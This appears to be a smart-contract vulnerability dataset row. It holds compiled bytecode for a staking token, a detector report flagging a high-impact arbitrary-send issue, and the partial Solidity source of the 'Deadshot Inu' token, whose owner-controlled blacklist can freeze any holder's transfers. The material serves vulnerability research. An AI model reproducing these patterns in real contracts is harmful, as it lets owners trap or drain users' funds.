ffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611462613050565b6000806040518060400160405280600081526020016001600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815481106114f0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060020201600101805480602002602001604051908101604052809291908181526020016000905b828210156115c757838290600052602060002090600402016040518060800160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820154815260200160038201548152505081526020019060010190611521565b50505050815250905060005b8160200151518110156116ea57600061162f83602001518381518110611622577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151612448565b9050808360200151838151811061166f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516060018181525050826020015182815181106116bc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015160200151846116d39190613d1a565b9350506001816116e39190613d1a565b90506115d3565b50818160000181815250508092505050919050565b60008060008061170d6113c9565b11156118135761171d85856124a5565b809450819350829550505050600082826117379190613d1a565b11156117c7576117456113c9565b82826117519190613d1a565b101561177b5761176b81836117669190613d1a565b6128c9565b611776838284612928565b6117c2565b6117836113c9565b905060646005826117949190613f12565b61179e9190613d70565b915081816117ac9190613f6c565b90506117b9838284612928565b60006008819055505b61180e565b6117d2303385611ae2565b7ff64ab732b9d2e5ecbc70eb3e611313f26da6e8da38e9ad3600d2b6b11a4fa1f2303385604051611805939291906139b9565b60405180910390a15b611876565b61181d85856129b2565b925061182a303385611ae2565b7f872155f5f825c620920562c66050ed36efc1f24197facd06c6b073b77a24af7682826118579190613d1a565b61185f6113c9565b60405161186d929190613c4a565b60405180910390a15b5050505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461190b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190290613a2d565b60405180910390fd5b61191481612d92565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611987576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197e90613bed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ee90613b2d565b60405180910390fd5b80600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611ad59190613c2f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4990613bad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb990613b4d565b60405180910390fd5b80600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611c44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3b90613a6d565b60405180910390fd5b80600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8f9190613f6c565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9190613d1a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611dbd9190613c2f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3190613a8d565b60405180910390fd5b80600454611e489190613d1a565b60048190555080600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e999190613d1a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f3a9190613c2f565b60405180910390a35050565b73f36834a746ffcc8d13e508154075fc83b2fea83d6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b6001808160018154018082558091505003906000526020600020905050618e94600381905550565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a690613acd565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612131576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212890613b6d565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217c9190613f6c565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806004546121cd9190613f6c565b600481905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122319190613c2f565b60405180910390a35050565b60008111612280576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227790613b8d565b60405180910390fd5b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600042905060008214156122de576122db33612ebf565b91505b60018281548110612318577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906002020160010160405180608001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018381526020016000815250908060018154018082558091505060019003906000526020600020906004020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201556060820151816003015550503373ffffffffffffffffffffffffffffffffffffffff167fb4caaf29adda3eefee3ad552a8e85058589bf834c7466cae4ee58787f70589ed84848460405161243b93929190613c73565b60405180910390a2505050565b60008082604001514261245b9190613f6c565b9050620151808110156124725760009150506124a0565b6003548360200151610e10836124889190613d70565b6124929190613f12565b61249c9190613d70565b9150505b919050565b600080600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600060018281548110612529577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600202016001018681548110612572577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600402016040518060800160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820154815260200160038201548152505090508681602001511015612648576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161263f90613bcd565b60405180910390fd5b600061265382612448565b90508782602001516126659190613f6c565b82602001818152505060008260200151141561275357600183815481106126b5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906002020160010187815481106126fe577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060040201600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905560028201600090556003820160009055505061288a565b816020015160018481548110612792577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906002020160010188815481106127db577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906004020160010181905550426001848154811061282b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600202016001018881548110612874577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060040201600201819055505b6000606460058361289b9190613f12565b6128a59190613d70565b905080826128b39190613f6c565b9150888282965096509650505050509250925092565b6000600854905081600860008282546128e29190613f6c565b925050819055507f387fc5324809e179b9b36e76d114fc84cac68fb4b153d29e15192637f1ec0fb98160085460405161291c929190613c4a565b60405180910390a15050565b612960600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660028361295b9190613d70565b611dca565b612998600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166002836129939190613d70565b611dca565b6129a23383611dca565b6129ad303385611ae2565b505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600060018281548110612a33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600202016001018481548110612a7c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600402016040518060800160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820154815260200160038201548152505090508481602001511015612b52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b4990613bcd565b60405180910390fd5b848160200151612b629190613f6c565b816020018181525050600081602001511415612c505760018281548110612bb2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600202016001018481548110612bfb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060040201600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160009055600282016000905560038201600090555050612d87565b806020015160018381548110612c8f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600202016001018581548110612cd8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060040201600101819055504260018381548110612d28577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600202016001018581548110612d71577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060040201600201819055505b849250505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612e02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df990613aad565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006001808160018154018082558091505003906000526020600020905050600060018080549050612ef19190613f6c565b90508260018281548110612f2e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906002020160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080915050919050565b828054612fd690614028565b90600052602060002090601f016020900481019282612ff8576000855561303f565b82601f1061301157805160ff191683800117855561303f565b8280016001018555821561303f579182015b8281111561303e578251825591602001919060010190613023565b5b50905061304c919061306a565b5090565b604051806040016040528060008152602001606081525090565b5b8082111561308357600081600090555060010161306b565b5090565b60008135905061309681614105565b92915050565b6000813590506130ab8161411c565b92915050565b6000602082840312156130c357600080fd5b60006130d184828501613087565b91505092915050565b600080604083850312156130ed57600080fd5b60006130fb85828601613087565b925050602061310c85828601613087565b9150509250929050565b60008060006060848603121561312b57600080fd5b600061313986828701613087565b935050602061314a86828701613087565b925050604061315b8682870161309c565b9150509250925092565b6000806040838503121561317857600080fd5b600061318685828601613087565b92505060206131978582860161309c565b9150509250929050565b6000602082840312156131b357600080fd5b60006131c18482850161309c565b91505092915050565b600080604083850312156131dd57600080fd5b60006131eb8582860161309c565b92505060206131fc8582860161309c565b9150509250929050565b600061321283836138b6565b60808301905092915050565b61322781613fa0565b82525050565b61323681613fa0565b82525050565b600061324782613cd5565b6132518185613cf8565b935061325c83613cc5565b8060005b8381101561328d5781516132748882613206565b975061327f83613ceb565b925050600181019050613260565b5085935050505092915050565b6132a381613fb2565b82525050565b60006132b482613ce0565b6132be8185613d09565b93506132ce818560208601613ff5565b6132d7816140e7565b840191505092915050565b60006132ef602a83613d09565b91507f4f776e61626c653a206f6e6c79206f776e65722063616e2063616c6c2074686960008301527f732066756e6374696f6e000000000000000000000000000000000000000000006020830152604082019050919050565b6000613355602683613d09565b91507f596f752063616e206e6f7420696e697469616c697a652066756e6374696f6e2060008301527f616761696e2000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006133bb603483613d09565b91507f446576546f6b656e3a2063616e74207472616e73666572206d6f72652074686160008301527f6e20796f7572206163636f756e7420686f6c64730000000000000000000000006020830152604082019050919050565b6000613421602583613d09565b91507f446576546f6b656e3a2063616e6e6f74206d696e7420746f207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613487602683613d09565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006134ed602783613d09565b91507f446576546f6b656e3a2063616e6e6f74206275726e2066726f6d207a65726f2060008301527f61646472657373000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613553602883613d09565b91507f446576546f6b656e3a2043616e6e6f74207374616b65206d6f7265207468616e60008301527f20796f75206f776e0000000000000000000000000000000000000000000000006020830152604082019050919050565b60006135b9603483613d09565b91507f446576546f6b656e3a20596f752063616e6e6f74207370656e6420746861742060008301527f6d756368206f6e2074686973206163636f756e740000000000000000000000006020830152604082019050919050565b600061361f602b83613d09565b91507f446576546f6b656e3a20617070726f76652063616e6e6f7420626520746f207a60008301527f65726f20616464726573730000000000000000000000000000000000000000006020830152604082019050919050565b6000613685602283613d09565b91507f446576546f6b656e3a207472616e7366657220746f207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006136eb603083613d09565b91507f446576546f6b656e3a2043616e6e6f74206275726e206d6f7265207468616e2060008301527f746865206163636f756e74206f776e73000000000000000000000000000000006020830152604082019050919050565b6000613751601483613d09565b91507f43616e6e6f74207374616b65206e6f7468696e670000000000000000000000006000830152602082019050919050565b6000613791602483613d09565b91507f446576546f6b656e3a207472616e736665722066726f6d207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006137f7603283613d09565b91507f5374616b696e673a2043616e6e6f74207769746864726177206d6f726520746860008301527f616e20796f752068617665207374616b656400000000000000000000000000006020830152604082019050919050565b600061385d603283613d09565b91507f446576546f6b656e3a20617070726f76652063616e6e6f7420626520646f6e6560008301527f2066726f6d207a65726f206164647265737300000000000000000000000000006020830152604082019050919050565b6080820160008201516138cc600085018261321e565b5060208201516138df6020850182613948565b5060408201516138f26040850182613948565b5060608201516139056060850182613948565b50505050565b60006040830160008301516139236000860182613948565b506020830151848203602086015261393b828261323c565b9150508091505092915050565b61395181613fde565b82525050565b61396081613fde565b82525050565b61396f81613fe8565b82525050565b600060208201905061398a600083018461322d565b92915050565b60006040820190506139a5600083018561322d565b6139b2602083018461322d565b9392505050565b60006060820190506139ce600083018661322d565b6139db602083018561322d565b6139e86040830184613957565b949350505050565b6000602082019050613a05600083018461329a565b92915050565b60006020820190508181036000830152613a2581846132a9565b905092915050565b60006020820190508181036000830152613a46816132e2565b9050919050565b60006020820190508181036000830152613a6681613348565b9050919050565b60006020820190508181036000830152613a86816133ae565b9050919050565b60006020820190508181036000830152613aa681613414565b9050919050565b60006020820190508181036000830152613ac68161347a565b9050919050565b60006020820190508181036000830152613ae6816134e0565b9050919050565b60006020820190508181036000830152613b0681613546565b9050919050565b60006020820190508181036000830152613b26816135ac565b9050919050565b60006020820190508181036000830152613b4681613612565b9050919050565b60006020820190508181036000830152613b6681613678565b9050919050565b60006020820190508181036000830152613b86816136de565b9050919050565b60006020820190508181036000830152613ba681613744565b9050919050565b60006020820190508181036000830152613bc681613784565b9050919050565b60006020820190508181036000830152613be6816137ea565b9050919050565b60006020820190508181036000830152613c0681613850565b9050919050565b60006020820190508181036000830152613c27818461390b565b905092915050565b6000602082019050613c446000830184613957565b92915050565b6000604082019050613c5f6000830185613957565b613c6c6020830184613957565b9392505050565b6000606082019050613c886000830186613957565b613c956020830185613957565b613ca26040830184613957565b949350505050565b6000602082019050613cbf6000830184613966565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613d2582613fde565b9150613d3083613fde565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613d6557613d6461405a565b5b828201905092915050565b6000613d7b82613fde565b9150613d8683613fde565b925082613d9657613d95614089565b5b828204905092915050565b6000808291508390505b6001851115613deb57808604811115613dc757613dc661405a565b5b6001851615613dd65780820291505b8081029050613de4856140f8565b9450613dab565b94509492505050565b6000613dff82613fde565b9150613e0a83613fe8565b9250613e377fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613e3f565b905092915050565b600082613e4f5760019050613f0b565b81613e5d5760009050613f0b565b8160018114613e735760028114613e7d57613eac565b6001915050613f0b565b60ff841115613e8f57613e8e61405a565b5b8360020a915084821115613ea657613ea561405a565b5b50613f0b565b5060208310610133831016604e8410600b8410161715613ee15782820a905083811115613edc57613edb61405a565b5b613f0b565b613eee8484846001613da1565b92509050818404811115613f0557613f0461405a565b5b81810290505b9392505050565b6000613f1d82613fde565b9150613f2883613fde565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613f6157613f6061405a565b5b828202905092915050565b6000613f7782613fde565b9150613f8283613fde565b925082821015613f9557613f9461405a565b5b828203905092915050565b6000613fab82613fbe565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015614013578082015181840152602081019050613ff8565b83811115614022576000848401525b50505050565b6000600282049050600182168061404057607f821691505b60208210811415614054576140536140b8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b61410e81613fa0565b811461411957600080fd5b50565b61412581613fde565b811461413057600080fd5b5056fea2646970667358221220269ba8b70a057cd52fec8af0c83f6ec154046caf6c4f2da85d9a6f2bf860813c64736f6c63430008000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,447 |
0xa483f39478f2ccfcb3b113c1982344a90f4b6c72 | /*
https://t.me/deadshotinuportal
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract deadshotcontract is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Deadshot Inu";
string private constant _symbol = "DEADSHOT";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x7113a71F09Bd2973B11558986C04497F8Bc69817);
_buyTax = 12;
_sellTax = 12;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 10_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
